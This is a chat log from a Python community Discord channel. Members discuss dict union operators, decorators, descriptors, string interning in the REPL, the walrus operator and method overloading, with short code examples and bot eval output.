โโโโโผโโโโผโโโโโโโโโผโโโโโโโโโโโค
โ F โ F โ F โ F โ
โ F โ T โ T โ T โ
โ T โ F โ T โ T โ
โ T โ T โ T โ F โ
โโโโโดโโโโดโโโโโโโโโดโโโโโโโโโโโ
https://www.python.org/dev/peps/pep-3105/ explains the rationale for making print a function.
They're used for flow control, and that is usually done with keywords (maybe always)
Right. if print didn't exist, you could implement it yourself pretty easily, in pure Python code. The same can't be said for yield or raise; those require special support from the interpreter.
raise could be implemented quite easy
def throw(e):
(() for () in ()).throw(e)
but I see your point
Fair enough; what a horrific abuse of generators, but I guess you could implement raise yourself, heh
You can do truth tables in freaking ipyrhon?
@deft pagoda ^ yeah, that was cool - what's the magic for that?
That doesn't work in my ipython
right - you're able to define custom magics; they must have defined a custom one for that
since salt is afk, i'll post it for them :) https://github.com/salt-die/tiny-math/tree/master/truthtables
some interesting stuff in there
that is amazing
Learned something new today.
I can see that being useful for thinking about logical expressions like that
shit
Love it, salt. โค๏ธ
It says the chat rooms under How to get help tab are read only
oh, sorry was afk, i should post my entire ipython startup file somewhere
hey can I use python to code ai
you can, indeed
like real ai
define real ai
movies aren't that realistic when it comes to AI
I'm not experienced in AI at all, but I know for a fact you can make genetic evolution stuff
so making something play a game for you is possible in python, yes
but it really depends on the game
I'd like to make something that learns how to play any games
like a general game playing ai
this is quite off-topic for this channel, a help channel or (possibly) #data-science-and-ml would be a better channel for this. there's also the AI guild: https://discord.gg/CbVJYtz
oh ok
something that can play games is pretty easy. https://github.com/thomasahle/sunfish/blob/master/sunfish.py is an example of a chess AI.
I sort of liked this as #python-language more
alright guess this channel metamorphisized from Python Language to Advanced Python ๐
do you guys think there's going to be any notable performance difference between using IOR versus dict.update in 3.9?
I don't believe it's supposed to make much of a difference. My wild guess would be that it will be slightly faster, due to not needing to lookup the update method by name.
yeah good point
it will make a difference, because if you are using dict.update to create a new dict containing the contents of 2 dicts (as IOR does) then you will need a temp variable. in IOR a temp var wont be needed.
x = {'a':2}
y = {'b':3}
z = dict(x)
z.update(y)
``` vs ```py
x = {'a':2}
y = {'b':3}
z = x | y
Huh, this is a good name for the channel, I think.
isn't IOR the inplace one? So the right comparison is:
x = {'a':2}
y = {'b':3}
x.update(y)
vs
x = {'a':2}
y = {'b':3}
x |= y
isn't it?
https://www.python.org/dev/peps/pep-0584/ - nope, accepted.
What about and?
yes
This PEP does not take a position on whether dicts should support the full collection of set operators, and would prefer to leave that for a later PEP (one of the authors is interested in drafting such a PEP).
...
For example, given two dicts:d1 = {"spam": 1, "eggs": 2}
d2 = {"ham": 3, "eggs": 4}
...
Set intersection (&) is a bit more problematic. While it is easy to determine the intersection of keys in two dicts, it is not clear what to do with the values. Given the two dicts above, it is obvious that the only key of d1 & d2 must be "eggs". "Last seen wins", however, has the advantage of consistency with other dict operations (and the proposed union operators).
Ah, I was wondering about add. +
oh, I though that was a typo ๐ What would you want dict1 + dict2 to do?
how would it be different from | ?
My family is demanding my attention but I'll get back to you when they allow it.
+ vs | vs << vs whatever I remember was a lively discussion in the mailing list.
I thought you just meant the operator not the assignment operation
ah - the + operator with the same semantics as were eventually assigned to | was discussed; https://www.python.org/dev/peps/pep-0584/#use-the-addition-operator
basically, "it was too controversial" and "read the mailing list" ๐
@raven ridge thanks! It occured to me later that if we used plus to combine two dicts, then the plus operator would be doing a totally different thing for Counter
And that would break... THE LISKOV SUBSTITUTION PRICIPLE
But also result in potentially counterintuitive behavior if you wanted to combine a dict and a Counter
for actual AI
we need something that is like A* but for planned actions that can be recognized and used to traverse a goal
[step 1- walk here, step2 open door , etc]
and after it is in the middle of it, it re-evaluates it's plan periodically
Well, you could use A* for that. It doesn't have to operate on a grid, it can be used on any graph.
You'd need to define some sort of state, and then a way to determine all possible states it can get to by performing an action. And then a heuristic function, which might be the hard bit
how did you guys learn python from the very begining
while waiting for | for dicts, I have been using these two functions for merging dicts:
def merge_inplace(original, *dicts, **fields):
for other in dicts:
original.update(other)
original.update(fields)
def merge(*dicts, **fields):
result = {}
merge_inplace(result, *dicts, **fields)
return result
# >>> foo, bar = {"a": 1}, {"b": 2}
# >>> merge(foo, bar, c=3)
{'a': 1, 'b': 2, 'c': 3}
# >>> merge_inplace(foo, bar, c=3)
# >>> foo
{'a': 1, 'b': 2, 'c': 3}
!e
foo, bar = {"a": 1}, {"b": 2}
print({**foo, **bar, **dict(c=3)})
@raven ridge :white_check_mark: Your eval job has completed with return code 0.
{'a': 1, 'b': 2, 'c': 3}
As PEP has said, this doesn't look very beautiful haha
If you really want | for dicts couldnโt you just subclass
Surely thereโs a Dunder for |
there is __or__ and __ior__
right
it not an ideal solution though, sometimes you have nested dicts for example
Dict unpacking looks okay for me tbh
Sets handle that okay thought right
and doing
fancydict(get_dict()) | get_other_dict()
``` is not all that great
though*
Oh, I mean yeah, it looks bad if you instiantate it like that on the spot
No use in that
you have to convert into the fancy dict at some point
Yeah
switch address of dict and replace it with your own via ctypes lol
Pretty sure itโll segfault the moment you do it tho
I wonder if just switching builtins.dict would work for the bytecode BUILD_MAP
#python-discussion
#internals-and-peps
#esoteric-python
3 stages of every pythonista, haha
ye thatโs an interesting question
@gloomy rain The heck , imma let u gays
bruh
Do you guys have any good reading material on decorators?
the realpython article is solid afaik
https://realpython.com/primer-on-python-decorators/
@flat gazelle yeah he is good. Imma read this up..
It starts out with the most important bit: function objects are just like other objects
That's the real magic, the decorator syntax, is ultimately "syntactic sugar" that makes things so much more readable
Decorator is my fav syntax sugar
We're basically modifying what the function does isn't it?
Sad other languages donโt have it
some languages have something similar
decorators are extremely nifty for modifying the behavior or separating logic
LISP has :around functions, which are kind of similar, raku has wraps. Ruby has flexible lambda syntax that sometimes looks cleaner than decorators
lisp has ((())) 
yeah, LISP is the original dynamically typed lang and is still a really nice language
I sometimes use scheme for prototyping algos
Huh wait was it the first dynamic Lang?
maybe not the first, but the first big one afaik
Right. Huh
though LISP has static typing as well in some dialects (kawa e.g.)
A lot more respect for lisp now
We're basically modifying what the function does isn't it?
@visual rose
You're usually not directly manipulation the original function object, rather you're creating a new function object that uses the old one. The name of the old function object then gets assigned to the new function object. Whenever you "call" the name, you call the new function instead of the old one.
@decorator
def fun():
...
```is about the same as
```py
def fun():
...
fun = decorator(fun)
why about the same? quite literally works like this
well that makes a lot more sense now
Well the difference is that the original function is never saved to the variable.
only used decorators in very specific situations and it seemed completely magic
ah, yeah, fair
which does matter in cases like
class A:
@decorator
def method(self):
...
```I would think
No, it doesn't really matter there either
There with a __prepare__ method (or exec() with custom globals) you could spot the difference.
Not really important though.
try method = decorator(method) after you created the function object you called method there
yeah, I was specifically thinking some metaclass could catch that
@routes.get("/api/user/{id}")
@handle_errors()
@auth_setup(required=False)
@cooldown(rate=10, per=1)
async def handle_user(request: web.Request) -> web.Response:
...``` decorators huh 
Not sure if using that many is fine at this point
I think it's still okay, but it probably depends on what you're used to
Compartmentalises all your different layers and issues.
oh yeah, there is matters actually
Yes and no, since it would refer to the previous definition. That's what property does.
@fun
def fun(): ...
```does not work
```py
def fun(): ...
fun = fun(fun)
```does work-ish
But you could do myfunc = myfunc(myfunc), no idea why.
The name myfunc is defined at that point
Yep.
Regarding the thing I have posted:
routes.get registers a route with GET method
handle_errors catches all exceptions, sending the response with the message/type of an error, also allowing to pass some functions to specifically add messages/return types.
auth_setup adds an attribute needs_auth to a function, allowing an aiohttp.web.middleware to handle auth header/tokens.
cooldown creates and puts a CooldownMapping class that gets updated every request.
So I think it's pretty understandable to use that bunch 
I didn't quite know the functions, but I had no trouble understanding what that piece of code was supposed to do
Does anyone have a good resource on best practices for data descriptors? It's probably going to be some kind of opinated blogpost, but I don't really care about that.
I'm always struggling a bit with what the best practices are and when I look at other implementations, they all take different approaches
With __set_name__ it's trivial to store the data in the __dict__ of the actual instance on which the class attribute is accessed (not the descriptor instance) under a proper name (and that's what a lot implementations do), but it's a lot of boilerplate
Can you extract the boilerplate into some common class or something?
Yeah, it's not really that I mind the boilerplate (I can factor it out, like you said), but typically when I'm using something that I'd consider boilerplate, there's a better solution
I wish there was like a "post Fluent Python" kinda resource
Although what I'm looking for (a single, unified approach that's generally accepted) may just not exist for something like this
You could look at some things that use descriptors and see how they do it and imitate
Probably everyone has different needs?
Probably
I'm currently doing something fairly basic and using the approach outlined briefly in Fluent Python (the first edition, I haven't read the second edition yet)
"post Fluent Python" resources are David Beazley's Python talks :)
the python cookbook is nice, and David open sourced his other book in wich the name eludes me atm
but did the second edition of fluent python get delayed? mine has not been shipped to me yet.
Fluent Python, 2nd Edition
by Luciano Ramalho
Released January 2021
Publisher(s): O'Reilly Media, Inc.
ISBN: 9781492056355
this is from the oreilly.com store @wide shuttle
"post Fluent Python" resources are David Beazley's Python talks :)
@molten onyx
Yeah, I love those.
@stable grail I think it was already delayed. They released an online "preview" version that stil had to be "edited" and "revised" in March. The process after that, from editing/revising to printing, quality control, and shipping probably takes some time.
I think they may have even released that preview version to get more feedback, but I don't know, I haven't actually bought it
Jan 2021 as of this time
It's the tragedy of good books: It will be updated to 3.8, but 3.9 will have been released by the time the book gets released
Although I don't think anything in the 3.9 version would have changed the contents dramatically
i had an idea to remove some decorator boilerplate and managed to get this to work:
In [8]: @decoratorize
...: def print_result(*args, **kwargs):
...: result = func(*args, **kwargs)
...: print(result)
...: return result
...:
...: @print_result
...: def add_2(x):
...: return x + 2
In [9]: add_2(10)
12
Out[9]: 12
this does require your function not to use func as a local variable though
What is decoratorize?
def decoratorize(wrapper):
source = getsource(wrapper)
source = '\n'.join(line for line in source.splitlines() if not line.startswith('@'))
deco = f"""
def deco(func):
{indent(source, ' ')}
return {wrapper.__name__}
"""
loc = {}
exec(deco, None, loc)
return loc['deco']
this is pretty naive version
we'll just call it a "prototype"
maybe not, just you need to refer to the function you decorate as func in your would-be decorator
is more what i meant
Yeah, but the func definition in the to-be-decorated function (add_2 here) should not interfere with that
I think
no i don't think so
also would probably explode with multiple decorators
you could add some logic at the start to fix that though
Where did python-language go? 
renamed to this
hmm 
hey, here's a gotcha that I'm trying to figure what's happening here
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
False
>>> lolkek is "lolkek"
True
>>> a, b = "a", "b"
>>> a is "a"
True
>>> b is "b"
True
this was executed in Python's REPL
As an optimisation, CPython caches and reuses certain objects it knows are often used. For example thereโs only ever one empty tuple.
if you run the equivalent code in a simple Python module, all 4 conditions are true.
And in this case all single characters are reuse.
In that case the code is compiled in one unit, so CPython can see the duplicate strings and reuses the same object for them all.
In the REPL put the assignments on the same line with ; and youโll see the same happen.
I'm disappointed this didn't work
while (foo := True) == True:
foo = False
print("bar")
It just infinite loops
Why wouldn't it
Which is what it should do
The condition will always be true
Would have thought the walrus operator would only trigger once but it reassigns
Yeah I'm just used to doing that
No it triggers every time it runs.
If anything, doing a py x = 10 x = 20 print(x)and if it prints 10, I will be super confused
walrus is for assigning values, so it should reassign
I just would have hoped it'd let me do what I wanted. Makes sense to reassign.
Hmm, what are you trying to do?
Just seeing if there was a shortened way of having while var without having to assign beforehand
@somber halo Running something in the REPL involves compiling each line separately, while a module is compiled in one go. That's the difference I can think of and it may influence some of the string interning that's happening.
In that case you can use the break instead
And check var inside the while loop
Which is subjectively better than initializing a variable
I usually use that yeah.
You evaluate the expression each time, yeah
otherwise things like while (item := get_next_item()): wouldn't work
Hmm, weird, it wasnt a True for the last one for me
Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> lolkek is "lolkek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a, b = "a", "b"
>>> a is "a"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a is "b"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False```
should be b is "b"
Never even thought of using walrus with functions. It seems so useful.
it's like the is operator is replaced by the == operator in the REPL, which wouldn't make much sense I believe.
They're not replaced, but Python is doing something called string interning
As strings are immutable, it tries to keep only one copy of the string in memory
There's no need to have two copies of a string with an identical value in memory
When is says something is true, they really are the same object.
And that means that is comparisons will give strange results with those kind of objects (and why Python started giving that "literal warning")
Yep, it is because of string interning, which differs from a REPL and when compiling and running
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> id("lol kek")
2870219321456
>>> id(lol_kek)
2870219309744```
It's also why a lot of beginners get bitten by is and small int objects
And why even some bad tutorials even recommend is
For some reason
Technically is is much faster than ==
But that is by no mean a valid reason to use is over ==
I doubt that's the reason why those tutorials advice is
I think they're just written by people who are confused about the difference
That can also be the case, yes
>>> a = "yes this is a super long string"
>>> b = "yes this is a super long string"
>>> id(a), id(b)
(2870219319376, 2870219319456)
>>> a is b
False```more examples of how python intern strings differently
This is only on REPL as each line is compiled, as opposed to when running from a script where the entire code is compiled
>>> if True:
... a = "yes this is a super long string"
... b = "yes this is a super long string"
...
>>> a is b
True```
In this case we simply make it so both the assignment be done in the same line ( using if to create a block ) -> then python will actually create a single string and point both a and b toward it
Just use f-strings that have placeholders and non-placeholder content
>>> f"{'hello'} you" is f"{'hello'} you"
False
In [61]: a = type('', (), {'__eq__': lambda *args:True})()
In [62]: b = type('', (), {'__eq__': lambda *args:True})()
In [63]: a == b
Out[63]: True
In [64]: a is b
Out[64]: False
salt, no!
that's perfectly readable
ok, there's some shenanigans wrt string interning when using the REPL
but I still didn't quite get the different results between the (lol_kek, lolkek) and (a, b) tuples
ok, there's some shenanigans wrt string interning when using the REPL
@somber halo it isn't specific to strings, or the REPL. Since every block>>>compiled individually, python re-creates everything (even the constants, which differs from compiling the same exact code on a file)
ok, gotcha.
so what's the possible cause then for the different results in these tuples?
so what's the possible cause then for the different results in these tuples?
@somber halo what tuples?
The length of the strings
For very simple strings like "a" python will create and intern a single one, that's consistent between each compilation ( in a single session )
>>> a = "a"
>>> b = "a"
>>> c = "a"
>>> a is b
True
>>> a is c
True
>>> b is c
True```vs```py
>>> a = "much longer string"
>>> b = "much longer string"
>>> c = "much longer string"
>>> a is b
False
>>> a is c
False
>>> b is c
False```
nice
It's part of internal optimization iirc
thanks for clearing this up then.
yet another quirky scenario
>>> a = "abc"
>>> b = "abc"
>>> c = "abc"
>>> a is b
True
>>> a is c
True
>>> b is c
True
>>> a = "a b c"
>>> b = "a b c"
>>> c = "a b c"
>>> a is b
False
>>> a is c
False
>>> b is c
False
>>> a = "a b"
>>> b = "a b"
>>> c = "a b"
>>> a is b
False
>>> a is c
False
>>> b is c
False
>>> a = "reallylongstringwithnospaces"
>>> b = "reallylongstringwithnospaces"
>>> c = "reallylongstringwithnospaces"
>>> a is b
True
>>> a is c
True
>>> b is c
True
having whitespaces in a string seem to be the culript
That's so bizarre
I never would have figured that'd be the deciding line. I always thought it was just string length
hello i need helps please
mmh sorry
Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?
Or did Guido have a specific objection to them?
Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?
@boreal umbra I don't know about Guido's opinion but since we do have 'default arguments' (compared to languages who allows overloading), 'decorators' and tons of other metaprogramming stuff, there is no need for it at the core level. And if this isn't enough, you can always usefunctools.singledispatchor implement something similiar with decorators.
I can only think of one time where I thought overloading a method would be the most obvious way to solve something
Though I've encountered critics of Python who gave the absence of overloading as one of their main reasons for hating Python
Well, making an overloading decorator is pretty trivial.
Just a little inspect magic, maybe
There are some edge cases when overloading would be useful, but in general it seems like its absence is barely noticeable
It may be more useful in statically typed languages.
In C++'s Qt, the QString constructor has 9 versions...
That might be a bit confusing, though
That's about 8 too many
9 too many if you just use a const char * :^)

haha, try saying that to QFile!
Python strings also have a few
But with qt's many types it makes sense, with some of them probably not being used that much
"call __str__ or __repr__ or __repr__ if __str__ doesn't exist"
def str(arg):
try:
return arg.__str__()
except AttributeError:
return repr(arg)
simple, but really convenient
I really like the built-ins that wrap around dunders like that
oh, should probably check for NotImplemented then
ah right, the classname and memory slot
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
<__main__.A object at 0x7f64c16bdf10>
Hmm, funny enough, it will still work with getattr
!e ```py
def str(obj):
return getattr(obj, 'str', obj.repr)()
class A:
def repr(self):
return 'hello'
print(str(A()))
@whole glacier :white_check_mark: Your eval job has completed with return code 0.
hello
Are you in some conspiracy with ves_zappa? ๐ค
i has no idea what you talking about, promize
naming convention pride month
yep, definitely not just suddenly snake_cased my name 6h ago, nope
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
1
and object just has a __str__ method
Yep, but then shouldnt it call obj.__str__ then
in the py getattr(obj, '__str__', obj.__repr__)()
I was trying to get that first
!e
class A:
pass
print(getattr(A, "__str__"))
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
<slot wrapper '__str__' of 'object' objects>
It does exist
It seems like you can check if __str__ is overriden(?) fairly easily
it will climb the MRO ladder in search of that attribute
